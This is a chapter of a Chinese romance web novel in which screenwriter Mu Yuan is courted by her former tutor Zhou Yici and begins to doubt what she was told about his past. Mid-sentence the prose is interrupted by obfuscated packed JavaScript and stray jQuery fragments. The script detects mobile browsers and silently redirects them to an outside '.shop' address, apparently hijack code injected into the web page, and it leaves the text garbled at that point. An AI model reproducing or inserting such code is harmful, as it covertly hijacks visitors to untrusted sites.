沐鸢倒在沙发里看着天花板出神。
他刚刚说想跟她在一起,想了很久了。
这是什么意思?
难道他喜欢自己比自己喜欢他还要早?
好像发现了个什么不得了的秘密,沐鸢捞起个抱枕抱在怀里傻笑。
突然学姐给她打来电话,她摸出手机接起。
学姐:“白天我在工作没来得及细问,现在怎么样了?”
沐鸢仍旧躺在沙发里,“他刚刚跟我表白了。”她没有拿手机的手无意识地敲着枕头,“不对,不算表白,就是跟我说了一些情况。然后说要追我,看起来挺认真的。”
学姐揶揄她,“哟哟哟,听你这语气,不用看就知道此刻一定是一副春心荡漾的样子。”
“有吗?”沐鸢赶紧摸摸嘴角。
“不用摸了,你什么样我还能不知道吗。”学姐笑,“对不感兴趣的东西不会多看一眼,遇到喜欢的东西就会像个得到糖果的孩子一样,欣喜若狂。”
沐鸢讪讪地放下手。
学姐笑眯眯,“说说怎么认识的呗。”
“说来话长了,我读高三时他给我做过家教。”沐鸢顿了一下,“准确来说,是给我养妹。”
“养妹?”
“嗯。”
沐鸢从来不是爱诉苦的人,更不会跟亲近的人说起那些苦痛的往事。
在她的理解里,已经过去的事情就没有提起的必要了,何况她又不会怀念那样的日子。
其余的没多说什么,沐鸢挑挑拣拣地拎了一些关于周熠辞的回忆出来,从初见到重逢再到今天的转折。
把学姐听得一愣一愣的,“会不会人家八年前就已经喜欢你了?”
沐鸢否认,“没有啊,你都听到哪里去了?”
“怎么能有家教老师对学生好成这样?”学姐惊讶,“你是个傻子吧,这都没看出来?”
沐鸢迟疑着解释,“那是因为我养母给的工资高。”
“......”学姐叹了口气,“反正我是不信的,你又没亲眼看到他们交易,口说无凭懂吗?”
学姐不死心继续问,“那后来呢,你怎么突然跟人家断联了,他怎么也没跟你表白?”
沐鸢无奈,“都说了他不喜欢我,怎么可能表白。”
“那好吧,不过我还是内心隐隐觉得他是从那时候就喜欢你了。”学姐说,“这么一想,还挺长情呢。”
“......”沐鸢都能想到学姐此刻肯定已经脑补出了一段刻骨铭心的暗恋。
可她很清醒,偶像剧里那些浪漫的桥段不会发生在她身上。
能够遇到他,再重逢,直到他说喜欢她,对沐鸢来说已经是极致的惊喜。
何况八年前的自己,就是一个留着短发的普通女生。她还敏感自卑,走路都只敢低着头,班上分餐食时都是最后一个上去拿人家挑剩的。
那个时候的她,一点都不耀眼。
而他,每次带她补习时,走在路上都能收获一群女生的青睐,只不过他并不在意。
他不在意,她很在意。
他不在意不代表沐鸢就能否认他本就如星辰璀璨的事实。
她何德何能才能让一个这样的人喜欢自己那么多年。
她在想,是不是因为现在的自己留了漂亮的长发,买了好看的衣服穿,整个人看起来也更加自信耀眼,所以他突然就喜欢上自己了。
如果是这样,那沐鸢会感觉很不错。
借着他的光,然后自己也一点点变得更好,直到被他看见。
这样子的成就感让人没由来的愉悦,接下来几天沐鸢把自己关在房间里继续修改完善自己的剧本。没日没夜的终于完成了初稿,她立刻就把文档发给周熠辞看。
沐鸢:【这是我的剧本初稿,你有空的时候帮我看一下吧。】
下一刻,他发来信息。
周熠辞:【可以去约会了吗?】
沐鸢愣了两秒:【约会?】
周熠辞:【嗯。】
周熠辞:【不约会怎么追你?】
沐鸢想了一下:【那你等等我。】
等两人坐在上次宋以晴带她来的咖啡馆时,沐鸢从包里掏出电脑摊开在桌面。
周熠辞目光落在屏幕里,挑眉道,“约会时间,还要审稿?”
沐鸢纠正,“不是追人吗?”
倒没想到她一直咬着这两字不放,他“嗯”了一声。
沐鸢放下鼠标,扭头看他,“那陪我工作算不算是追人的一环?”
那晚跟学姐聊完之后重新收拾了心情,沐鸢真的有一种周熠辞爱惨她了的感觉。
导致她现在跟周熠辞聊起天都开始从容不迫起来。
周熠辞眼底的笑意加深,对她的话语信服般点点头,“那有什么奖励吗?”
“什么都还没做呢,就开始邀功了?”沐鸢面不改色地批评他,“你之前都是这样子骗小姑娘的吗?”
周熠辞:“那晚跟你说过的话都忘记了?”
沐鸢:“?”
“我没有喜欢过别人。”周熠辞温和地解释,然后很自然地拖动鼠标开始工作起来。
他说这话的时候神情淡淡,指尖在键盘上不急不缓起落,看起来漫不经心极了。
沐鸢却感觉他心情没有一开始那么好了,感觉他陷入了伤感的情绪。
大概是那天学姐说他八年前就喜欢她了,这一瞬间沐鸢代入了他的视角。
他喜欢了她那么多年,这中间没有喜欢过任何人。
被喜欢的那个人还不知道这件事情。
真的会很难过。
仅仅只是猜测,沐鸢心里就已经开始泛酸。她从对面站起身,到他旁边挨着他坐下,伸出食指戳戳他的手臂,“结束之后,我们一起去逛海边吧。”
她垂着睫毛,很小声地说,“我喜欢跟你一起看大海。”
他看得认真,似是没听见她的话,保持看屏幕姿势,头往他这边歪过来,直到碰到她的头才停下,“你说什么?”
“我说。”沐鸢任由他的头靠着自己的,重复一遍,“我喜欢跟你一起看大海。”
他低低笑了两声,“承认你喜欢上我了?”
沐鸢脸不红心不跳地开口,“好像有一点点了。”
周熠辞语气悠悠,“那我再努努力?”
周围有人经过,沐鸢没忍住把他的头扶正,“嗯”。
沐鸢也不知道自己是为什么能够假装不喜欢对方,厚着脸皮坦然地接受对方追求自己的。
不过要让她去追人的话,确实又有点不知所措了。
那就这样吧,顺理成章一点好了。
隔天沐鸢去了片场,针对周熠辞昨天下午给她提出的修改,她得去现场观摩一下。
刚好今天这场戏演员的情绪转化跟她写的那场差不多。
一大早沐鸢守在了摄影棚,演员已经化好妆,现场也早就做好了准备。
不得不说,即使这是沐鸢第一次跟组,她已经能感受到这个剧组的工作效率有多么高。
很少有失误的的场地布置,演员也非常敬业,很少会有笑场跟情绪给不到位的情况。
在这样的环境下工作,氛围跟状态都是非常好的。
休息间隙,场务小花跑过来,“沐鸢姐,好多天没看你来了。”
沐鸢抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633790|204065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头看她,笑道,“嗯,没什么要我完成的工作就没来。”
小花又跟她寒暄了几句,从这边的风景好看聊到圣诞节要怎么过,沐鸢随口答了几句。
听起来很敷衍,却是她的真实情况,她从不会花时间去计划这些大大小小的节日。
不过,今年圣诞的话...可以有例外。
她突然想到周熠辞。
小花递给她一个暧昧的眼神,“你不跟周总一起过吗?”
她怎么知道?刚刚就想了一下不至于这么明显吧。
沐鸢装作若无其事,“没有啊,我跟他过什么?”
小花笑得嘴角弧度更大了,“别隐瞒了姐,那天我们都看到了!”
沐鸢想到了昨天在咖啡馆的事情,“看到什么了?就很正常的谈工作喝咖啡啊。”
“什么咖啡啊。”小花诧异,“那天晚宴上,分明就是你跑过去亲了周总一口。”
“你是不是喝醉了呀?”看她性格冷淡,不像是会在大庭广众之下干出这种事的样子。
“......”沐鸢不可置信地睁大了眼睛,愣在原地,一瞬间明白了周熠辞这段时间以来的反常。
就说怎么突然说要追她了。
原来是因为那天晚上亲了他。
不过,他也太容易动心了吧。
沐鸢抓着她的手臂,“然后呢?后面怎么样了?”
“你真是喝醉了呀?”小花一脸茫然,“后面你就走了呀,再然后我就不知道了。”
沐鸢追问,“我自己走的吗?”
她这一喝醉酒就爱亲人的毛病是怎么来的?
小花:“嗯。”
那就好。
还没琢磨明白为什么亲了周熠辞之后,他第二天就直言说想追她,沐鸢就遇到了季明哲。
午后片场休整,沐鸢靠在木桥的栏杆上发呆,身后传来轻快的脚步声。
季明哲在她身侧站定,“在琢磨剧本?”
沐鸢淡淡点头,随口应道,“嗯”。
毕竟好几次出去玩都有季明哲,跟他说不上熟却也闲聊过几句。
沐鸢:“你怎么突然也来澜岛了?我以为你们两个一个负责公司内部,一个负责片场。”
季明哲轻笑一声,胳膊随意搭在栏杆上,“这你就不知道了吧。”
沐鸢回头看他。
“我是一块砖,哪里需要往哪里搬。”季明哲语气闲散,“年底了,总部那边的事务暂时告一段落,我来澜岛替班。”
沐鸢望着天边漫开的云,无声笑了下,“你们还要轮岗的啊?”
季明哲:“各司其职吧。”
微风掠过桥面,沐鸢突然问他,“你们当时创业的时候很辛苦吧?”
季明哲没想到她会问到这个,目光落向流水,“最苦的那段日子我不清楚,全都是阿辞一个人扛过来的。”他拍拍栏杆,“我是在公司初具规模后才进来的。”
说到这,季明哲语气里的佩服几乎掩饰不住,“一个人写剧本,找剧组,拉投资。刚起步那段至暗时期估计只有他自己知道。”
“我听说他初创公司之前,有得到过一笔大额奖金。”沐鸢看着流水,“这应当是他起步的底气了吧。”
季明哲看起来惊讶,“我怎么不知道还有这事?”
两秒后,他想起来了,“你说的是他拿了业内顶尖编剧奖的奖金吧?”他害了一声,“这点奖金在影视行业只能算杯水车薪,算不上什么底气。”
沐鸢目光沉沉,“我怎么听说是给人当家教拿到的。”
“家教?”季明哲的表情看起来像听到了什么天大的笑话。
沐鸢心底一沉。